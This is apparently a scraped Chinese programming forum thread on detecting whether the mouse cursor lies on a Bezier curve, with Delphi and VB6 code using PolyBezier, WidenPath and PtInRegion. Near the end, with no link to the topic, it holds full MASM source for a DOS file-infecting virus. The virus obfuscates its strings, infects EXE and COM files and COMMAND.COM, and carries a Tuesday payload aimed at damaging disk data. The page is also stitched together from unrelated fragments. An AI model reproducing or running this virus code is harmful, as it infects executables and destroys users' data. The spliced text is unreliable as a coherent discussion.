如何选中一条不规则曲线比如Bezier曲线,即判断光标是否落在这根线上。
假设画这条曲线时的Pen的宽度为2,如下:procedure TForm1.Button2Click(Sender: TObject);
var Points: array[0..3] of TPoint;
begin
Canvas.Pen.Width := 2;
Points[0] := Point(100,200);
Points[1] := Point(200,100);
Points[2] := Point(300,300);
Points[3] := Point(400,200);
Canvas.PolyBezier(Points);
end;
假设画这条曲线时的Pen的宽度为2,如下:procedure TForm1.Button2Click(Sender: TObject);
var Points: array[0..3] of TPoint;
begin
Canvas.Pen.Width := 2;
Points[0] := Point(100,200);
Points[1] := Point(200,100);
Points[2] := Point(300,300);
Points[3] := Point(400,200);
Canvas.PolyBezier(Points);
end;
解决方案 »
- 如何实现对DataSet.Post的异常捕获?
- StretchBlt拷贝BMP文件没有成功。在线等
- 大家都来投票 不能让日本得逞!!!
- 这个问题 100分 不够再加谢谢~~高手入 其实 好像也不难~ 但我不会
- 问一个弱的问题----->万能查询的例子谁有,分不够还可以加,我是初学者,别见笑
- 那位大侠有IC卡读写的源码 急等
- 请教大家做统计报表的时候SQL语句都是怎么写的
- 怎么样防止frCompositeReport1打印重复值啊?
- 为什么数据没有全部显示?
- 【MyBean-开源框架】进行简单的逻辑插件(演示在控制台中应用)
- 如何在三层结构中启动事务????
- 请问当窗口最小化时,如何把它放到屏幕的右下角的图标栏内呢?
我想知道怎么来判断,具体怎么编码实现人气还是不高!
不是用Canvas.PolyBezier画,不要误会如 shi_sea(热锅蚂蚁) 所说,贝赛尔曲线确实是由直线组成的
这样在判断的时候就有一个精度的问题。还有一些技巧。一定很麻烦的。
懒得去想了。
控制点列A[1..MaxContrPoints]
产生
直线段点列B[1..MaxIntPoints]
的程序如下:
procedure bezier(A:PlotArray;
MaxContrPoints:integer;
var B:PlotArr;
var MaxIntPoints:integer);
const MaxControlPoints=25;
type CombiArray=array [0..MaxControlPoints] of real;
var n:integer;
ContrPoint,IntPoint:integer;
t,SumX,SumY,prod,DeltaT,quot:real;
combi:CombiArray; begin
MaxContrPoints:=MaxContrPoints-1;
DeltaT:=1.0/(MaxIntPoints-1);
combi[0]:=1;
combi[MaxContrPoints]:=1;
for n:=0 to MaxContrPoints-2 do
combi[n+1]:=combi[n]*(MaxContrPoints-n)/(n+1);
for IntPoint:=1 to MaxIntPoints do
begin
t:=(IntPoint-1)*DeltaT;
if t<=0.5 then
begin
prod:=1.0-t;
quot:=prod;
for n:=1 to MaxContrPoints-1 do prod:=prod*quot;
quot:=t/quot;
SumX:=A[MaxContrPoints+1].x;
SumY:=A[MaxContrPoints+1].y;
for n:=MaxContrPoints downto 1 do
begin
SumX:=combi[n-1]*A[n].x+quot*SumX;
SumY:=combi[n-1]*A[n].y+quot*SumY;
end;
end
else
begin
prod:=t;
quot:=prod;
for n:=1 to MaxContrPoints-1 do prod:=prod*quot;
quot:=(1-t)/quot;
SumX:=A[1].x;
SumY:=A[1].y;
for n:=1 to MaxContrPoints do
begin
SumX:=combi[n]*A[n+1].x+quot*SumX;
SumY:=combi[n]*A[n+1].y+quot*SumY;
end;
end;
B[IntPoint].x:=SumX*prod;
B[IntPoint].y:=SumY*prod;
end;
end;
人气太低!
五角大民到底要干吗
能否帖出来,我向阿猫推荐你做此版的版主,谢谢!
他已备封,你知道吗?多谢!
seealso:
http://www.delphibbs.com/delphibbs/dispq.asp?lid=1393993http://forum.vclxx.org/topic.asp?TOPIC_ID=21619&FORUM_ID=40&CAT_ID=7&Topic_Title=%B0%AA%26%2338590%3B%AB%D7%26%2338382%3B%26%2339064%3B%A1A%A6P%26%2326102%3B%AC%DD%AC%DD%A1m%A7%F5%BA%FB%C5%AA%AA%CC%B1M%B0%CF%A1n%AA%BA%A4H%C9a%A1C&Forum_Title=%A7%F5%BA%FB%C5%AA%AA%CC%B1M%B0%CF
创建合适的画笔选入hDC
用BeginPath开始路径跟踪
用PolyBezier绘制Bezier曲线
用EndPath结束路径跟踪
用PathToRegion把路径转为区域再用PtInRegion判断点是否在区域中
----------------------------------------------------
这种方法并不通用
将屏幕颜色位数调的较低时
Windows在绘制线条时会匹配颜色
匹配的颜色并不一定等于绘制的颜色
PathToRegion会将路径封闭生成区域
只不过也不是没有解决的办法
在VB6中,新建工程,在窗体上放一Label——Label1Option ExplicitPrivate Type POINTAPI
X As Long
Y As Long
End TypePrivate Declare Function PolyBezier& Lib "gdi32" (ByVal hDC As Long, lppt As POINTAPI, ByVal cPoints As Long)Private Declare Function BeginPath Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function EndPath Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function PathToRegion Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function WidenPath Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function PtInRegion Lib "gdi32" (ByVal hRgn As Long, ByVal X As Long, ByVal Y As Long) As LongPrivate Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As LongPrivate Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long
Private Declare Function FillRgn Lib "gdi32" (ByVal hDC As Long, ByVal hRgn As Long, ByVal hBrush As Long) As LongPrivate Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As LongPrivate Const RGN_AND = 1
Private Const RGN_OR = 2
Private Const RGN_XOR = 3
Private Const RGN_DIFF = 4
Private Const RGN_COPY = 5
Private BData(0 To 3) As POINTAPI
Private hRgnB As Long
Private MouseIn As BooleanPrivate Sub DrawRgn(ByVal hDC As Long, ByVal hRgn As Long, ByVal C As Long)
Dim hBr As Long
hBr = CreateSolidBrush(C)
FillRgn hDC, hRgn, hBr
DeleteObject hBr
End SubPrivate Sub Form_Load()
Me.AutoRedraw = True
Me.ScaleMode = vbPixels
Label1.BackColor = &HFFFF00
BData(0).X = 100
BData(0).X = 200
BData(1).Y = 200
BData(1).X = 100
BData(2).Y = 300
BData(2).X = 300
BData(3).Y = 400
BData(3).Y = 200
Dim TempRgn As Long
Me.DrawWidth = 2
Me.DrawStyle = vbSolid
Call BeginPath(Me.hDC)
Call PolyBezier(Me.hDC, BData(0), 4)
Call EndPath(Me.hDC)
WidenPath Me.hDC
hRgnB = PathToRegion(Me.hDC)
DrawRgn Me.hDC, hRgnB, &HFF
Me.DrawWidth = 1
Call BeginPath(Me.hDC)
Call PolyBezier(Me.hDC, BData(0), 4)
Call EndPath(Me.hDC)
TempRgn = PathToRegion(Me.hDC)
DrawRgn Me.hDC, TempRgn, &HFF9999
Call CombineRgn(hRgnB, hRgnB, TempRgn, RGN_DIFF)
DeleteObject TempRgn
End SubPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim TempIn As Boolean
TempIn = PtInRegion(hRgnB, X, Y)
'Debug.Print X, Y, TempIn
If TempIn <> MouseIn Then
MouseIn = TempIn
Label1.BackColor = Label1.BackColor Xor &HFFFFFF
End If
End SubPrivate Sub Form_Unload(Cancel As Integer)
DeleteObject hRgnB
End Sub
你有好的方法吗,请提供,不用API也可。
to all:
大家不要争吵,每人都有分,只要提出一种你的思路即可。谢谢大家,人气很旺!
我什么时候说过我是高手??!
你什么时候看到我UP?!Borlandor:
我不要分!谢谢楼主成权!
http://expert.csdn.net/Expert/TopicView1.asp?id=1112896
; 简单病毒程序
;
; 作者 : 不祥
; 类型 : 文件型
; 发作时间: 星期二
; 发作现象: 硬盘数据被坏
; 感染对象: DOS 的 EXE COM 文件
; 编译工具: MASM 6.0 , MASM 6.11
;
; ************************************************
CODE SEGMENT
assume cs:code
.386
org 100h
start:
mov cs:oldsp,sp ; 保存原程序的堆栈指针
mov cs:oldss,ss ;
mov sp,stack_end
mov ax,cs ; 设置新的堆栈指针
mov ss,ax ; push ds ;保存原 ds es
push es ;
mov ds,ax
mov es,ax
sub ax,oldseg ; 算出原程序的入口
push ax ; 并保存入栈
push oldip ;
call setfile ;程序的核心部分
pop cs:oldip ; 取回原程序的入口
pop cs:oldseg ;
pop es ; 恢复原 es ds
pop ds ;
mov sp,cs:oldss ; 恢复原 ss,sp
mov ss,sp ;
mov sp,cs:oldsp ;
push oldseg ;跳回原程序入口点
push oldip ;
retf ;
db 09ahgetdate proc near ;这个函数是取得时间是否是星期二是则破坏硬盘数据 mov ax,0ec32h ; 写要执行的代码 int 13h
not ax ; 到 @dest1 位置
mov si,@des1 ; 这里既加密代码
mov word ptr [si],ax ;
mov ah,2ah ;时间查询
int 21h
cmp al,2 ;al中为星期数
jnz @gd_con
mov ax,312h
mov cx,1
mov dx,80h
@des1:
db 0ebh
db 32
ret
@gd_con:
retgetdate endp
setfile1 proc near
call findfirst
@sf_con:
jc @sf_back
call modify
call findnext
jmp @sf_con
@sf_back:
ret
setfile1 endp
setdata proc near
push si
push di
push cx
push ax
pushf
mov si,offset normal1
mov di,si
mov cx,23h
@aaa2:
lodsb
not ax
stosb
loop @aaa2
popf
pop ax
pop cx
pop di
pop si
ret
setdata endpsetfile proc near
cmp ax,127h ; 没有作用只是干挠
jnz @aaa1 ; ax 不可能等于 127h
call dword ptr oldsp ;
ret ;
db 0e8h ;
@aaa: call getdate
ret@aaa1:
mov ah,01ah ;设置磁盘传输地址
mov dx,offset dta ;用于 findfirst
int 21h ;
call setdata ;数据解密
push @aaa
mov dx,offset normal1 ; 找 *.exe
mov ax,offset dta
add ax,01eh
mov fs,ax ; fs 用于传递文件名的地址
call setfile1 ; 传染文件
mov dx,offset normal2 ; 找 *.com
call setfile1
mov dx,offset bootcmd ; 找 c:\windows\command.com
mov fs,dx
call setfile1
mov dx,offset bootcmd1 ; 找 c:\command.com
mov si,dx ;
mov word ptr [si],':C' ;
mov fs,dx ;
call setfile1 ;
ret
setfile endp
db 09ah
findfirst proc near
mov ax,04e27h
int 21h
ret
findfirst endpfindnext proc near
mov ah,04fh
int 21h
ret
findnext endpmodify proc near ;修改并感染程序
mov si,offset sbuffer ;可执行的文件头的地址
mov di,offset dta ;文件信息的地址
cmp dword ptr [di+01ah],1000 ; 若文件小于 1K 或 大于 1M 不感染
jb @fn_ret ;
cmp dword ptr [di+01ah],0ffcffh ;
jae @fn_ret ; mov dx,fs
mov ax,4300h ;保存原文件属性
int 21h ;再改为没有属性
push cx ;
mov ax,4301h
xor cx,cx
int 21h mov ax,03d02h ; 打开文件
int 21h ;
jc @fn_ret3 ; mov bx,ax ; 读文件头
mov ah,03fh ;
mov cx,1ch ;
mov dx,offset sbuffer ;
int 21h ; cmp word ptr [si],'ZM' ; 如不是可执行文件就不感染
jnz @fn_ret1 ; mov ax,word ptr [si+014h] ; 保存原程序入口
mov oldip,ax ;
mov ax,word ptr [si+016h] ;
mov oldseg,ax mov ax,4200h ; 检查是否已经被我感染过
mov cx,word ptr [di+1ch] ;
mov dx,word ptr [di+1ah] ;
sub dx,2 ;
int 21h ;
mov ah,3fh ;
mov cx,2 ;
mov dx,offset temp ;
int 21h
cmp word ptr temp,0dcd6h ; 若已经被感染就返回
jz @fn_ret1 ;
mov eax,dword ptr [di+01ah] ; 得到文件的总长
mov cx,0fh
and cx,ax ; 算出感染后的入口点
mov fill,010h ;
sub fill,cx ;
movzx ecx,fill ;
add eax,ecx ;
sub eax,100h
shr eax,4
mov cx,word ptr [si+8]
sub ax,cx
mov word ptr [si+14h],100h
mov word ptr [si+16h],ax
sub ax,oldseg
mov oldseg,ax mov ax,4202h ;把本病毒写至文件尾
xor cx,cx ;
xor dx,dx ;
int 21h
call setdata
mov ah,40h
mov cx,offset theend
mov dx,offset start
sub dx,fill
sub cx,dx
int 21h
call setdata
jc @fn_ret1 mov ax,4202h ; 算出加载程序的长度
xor cx,cx ;
xor dx,dx ;
int 21h
mov cx,200h
div cx
inc ax
mov word ptr [si+2],dx
mov word ptr [si+4],ax mov ax,4200h ;改写文件头
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
mov dx,si
mov cx,1ch
int 21h@fn_ret1:
mov ah,03eh ;关闭文件
int 21h ;
@fn_ret3:
pop cx ;恢复原文件属性
mov ax,4301h ;
mov dx,gs
int 21h
@fn_ret:
ret
modify endp oldip word 0
oldseg word 0 ;======== 用 not 换算过的数据 ========
normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh ; '*.EXE'
normal2 db 0d5h,0d1h,09ch,090h,092h,0ffh ; '*.COM'
bootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h ; 'C:\WINDO'
bootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh ; 'WS\COMMAND.COM'
db 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh
fl word 0dcd6h
theend:
oldsp word 0
oldss word 0
temp word 0
temp1 word 0
dta db 02bh dup(0)
fill word 0
sbuffer db 1dh dup(0)
stack_start db 40h dup(0)
stack_end:
code ends
end start
自然,控制点是否显示出来,应能选择的. 曲线定型后,就把控制点设为不可见.